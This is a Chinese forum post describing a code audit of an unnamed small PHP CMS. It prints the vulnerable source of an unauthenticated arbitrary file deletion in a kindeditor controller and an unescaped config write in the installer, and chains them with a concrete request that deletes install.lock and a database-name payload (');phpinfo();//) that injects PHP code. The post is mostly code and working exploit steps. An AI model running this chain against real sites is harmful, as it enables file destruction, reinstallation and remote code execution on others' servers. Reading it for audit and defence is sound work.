电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1438 人浏览分享

记一次cms代码

[复制链接]
1438 0
0×00:前言

记录一次小型cms代码审计

0×01:任意文件删除

因为代码繁杂,不再一展示

/app/controller/kindeditor.class.php

关键漏洞代码
  1. public function delete() {
  2. $path = ROOT_PATH.$_GET['pic'];
  3. unlink($path);
  4. $flash = M("flash");
  5. $row = $flash->query("delete from tc_flash where
  6. photo='".$_GET['pic']."'");
  7. echo '删除成功';
  8. }
  9. }
复制代码

直接调用删除方法可以得到图片参数就可以任意任意文件

0×02:获取shell

/安装/index.php
  1. case '4':
  2. if (intval($_GET['install'])) {
  3. $n = intval($_GET['n']);
  4. $arr = array();
  5. $dbHost = trim($_POST['dbhost']);
  6. $dbPort = trim($_POST['dbport']);
  7. $dbName = trim($_POST['dbname']);
  8. $dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost .
  9. ':' . $dbPort;
  10. $dbUser = trim($_POST['dbuser']);
  11. $dbPwd = trim($_POST['dbpw']);
  12. $dbPrefix = empty($_POST['dbprefix']) ? 'tc_' :
  13. trim($_POST['dbprefix']);
  14. $uname = trim($_POST['manager_email']);
  15. $password = trim($_POST['manager_pwd']);
  16. $webpath = trim($_POST['webpath']);
  17. ......
  18. ......
  19. if ($i == 999999) exit;
  20. $message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.';
  21. //
  22. $newmodelstr = "<?php \n";
  23. $newmodelstr .= " define('DBHOST', '" . $dbHost . "');\n ";
  24. $newmodelstr .= "define('DBUSER', '" . $dbUser . "');\n ";
  25. $newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\n ";
  26. $newmodelstr .= "define('DBNAME', '" . $dbName . "');\n ";
  27. $newmodelstr .= "define('DBCODE', 'utf8');\n ";
  28. $newmodelstr .= "define('DBCONN', " . $db_pconnect . ");\n ";
  29. $newmodelstr .= "define('MORESITE', false);\n ";
  30. $newmodelstr .= "define('USEMC', false);\n ";
  31. $newmodelstr .= "define('MCHOST', '127.0.0.1');\n ";
  32. $newmodelstr .= "define('MCPORT','11211');\n ";
  33. $newmodelstr .= "define('MCHOST2', '127.0.0.1');\n ";
  34. $newmodelstr .= "define('MCPORT2','11211');\n ";
  35. $newmodelstr .= "\n?>\n";
  36. $targetFile = '../app/data/mysql.php';
  37. @file_put_contents($targetFile, $newmodelstr);
  38. $arr = array('n' => 999999, 'msg' => $message);
  39. die(json_encode($arr));
  40. }
  41. include_once ("./templates/s4.php");
  42. exit;
复制代码

在安装cms的时候在$dbName可以写入一句木马进行getshell

当然当你访问网站的时候已经是安装好了的

这时候需要上一个任意文件删除的漏洞删除/app/data/install.lock文件进行系统重装

0×03:如何调用

/***cms/core/controller.class.php

控制器代码
  1. public function Run() {
  2. $this->Analysis ();
  3. $this->control = $_GET ['c'];
  4. $this->action = $_GET ['a'];
  5. if ($_GET ['a'] === "list") {
  6. $this->action = "listAll";
  7. }
  8. $groupDir = GROUP_DIR;
  9. $controlFile = ROOT_PATH . '/' . APP_PATH . "/" . GROUP_DIR . "/" .
  10. $this->control . '.class.php';
  11. if (! file_exists ( $controlFile )) {
  12. $this->setValue ( "error", $this->control . Config::lang (
  13. "CONTROLLERNOTEXISTS" ) );
  14. $this->forward ( "error.html" );
  15. exit ();
  16. }
  17. include ($controlFile);
  18. if (! class_exists ( $this->control )) {
  19. $this->setValue ( "error", $this->control . Config::lang (
  20. "CONTROLLERNOTDEFINED" ) );
  21. $this->forward ( "error.html" );
  22. exit ();
  23. }
  24. if (! empty ( $_REQUEST ['token'] ) && ! in_array ( $_REQUEST ['ac'],
  25. array ('user_login', 'user_reg', 'user_regOrLoginProtocol', 'user_findPwd',
  26. 'user_getCode' ) )) {
  27. $this->pubCheck ();
  28. }
  29. $instance = new $this->control ();
  30. $methodName = $this->action;
  31. $instance->$methodName ();
  32. $this->forceAttack();
复制代码

跟进$this->Analysis();方法
  1. protected function Analysis() {
  2. $ac = array ();
  3. $acStr = $_GET ['ac'];
  4. if (empty ( $acStr )) { // 无ac参数
  5. $ac [0] = $this->control;
  6. $ac [1] = $this->action;
  7. } else if (! strpos ( $acStr, '_' ) && $acStr) { // ac=list
  8. $ac [0] = $acStr; // empty($this->control) ?
  9. self::getDefaultAction() : $this->control;//NULL
  10. $ac [1] = self::getDefaultAction ();
  11. $modelClass = $ac [1];
  12. $controlClass = $ac [0];
  13. } else { // ac=news_list 支持下划线的控制器
  14. $acAry = explode ( "_", $acStr );
  15. if (count ( $acAry ) == 2) {
  16. $modelClass = $acAry [1];
  17. $controlClass = $acAry [0];
  18. }
  19. if (count ( $acAry ) == 3) {
  20. $modelClass = $acAry [2];
  21. $controlClass = $acAry [0] . '_' . $acAry [1];
  22. }
  23. }
  24. if ($this->c ['URL_MODE'] == 1) {
  25. $this->control = ! empty ( $controlClass ) ? trim ( $controlClass )
  26. : $this->control;
  27. $this->action = ! empty ( $modelClass ) ? trim ( $modelClass ) :
  28. $this->action;
  29. } else if ($this->c ['URL_MODE'] == 2) {
  30. if (isset ( $_SERVER ['PATH_INFO'] )) {
  31. $path = trim ( $_SERVER ['PATH_INFO'], '/' );
  32. $paths = explode ( '/', $path );
  33. // index.php/news/show/id/275
  34. $this->control = array_shift ( $paths ); // news
  35. $this->action = array_shift ( $paths ); // show
  36. ParseUrl (); // news/show/id/275 index.php后面的
  37. }
  38. } else if ($this->c ['URL_MODE'] == 3) {
  39. // $_SERVER["QUERY_STRING"]=>
  40. // string(19) "ac=news_show&id=275"
  41. // $_SERVER["REQUEST_URI"]=>
  42. // string(30) "/index.php?ac=news_show&id=275"
  43. // bencandy.php?fid-{$fid}-id-{$id}-page-{$page}.html
  44. $path = str_replace ( ".asp", "", $_SERVER ["QUERY_STRING"] ); //
  45. news-show-1
  46. $paths = explode ( '-', $path );
  47. $this->control = array_shift ( $paths ); // news
  48. $this->action = array_shift ( $paths ); // show
  49. $key = $this->action == 'show' ? 'id' : 'page';
  50. $_GET [$key] = array_shift ( $paths ); // id page classidss
  51. }
  52. $_GET ['c'] = ! empty ( $this->control ) ? $this->control : 'index';
  53. $_GET ['a'] = ! empty ( $this->action ) ? $this->action :
  54. self::getDefaultAction ();
  55. $ac [0] = $_GET ['c'];
  56. $ac [1] = $_GET ['a'];
复制代码

http://url/index.php?ac=控制器_方法名进行访问

构造payload ac=kindeditor_delete&pic=/app/data/install.lock

QQ截图20210811141945.png

删除成功进入到安装界面

QQ截图20210811142112.png

数据库名称处输入');phpinfo();//

再次访问/***cms/index.php 成功输出

QQ截图20210811142321.png

0×04:总结

代码审计跟踪就对了 知识点的综合利用很重要。继续审计 上面漏洞挺多的。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.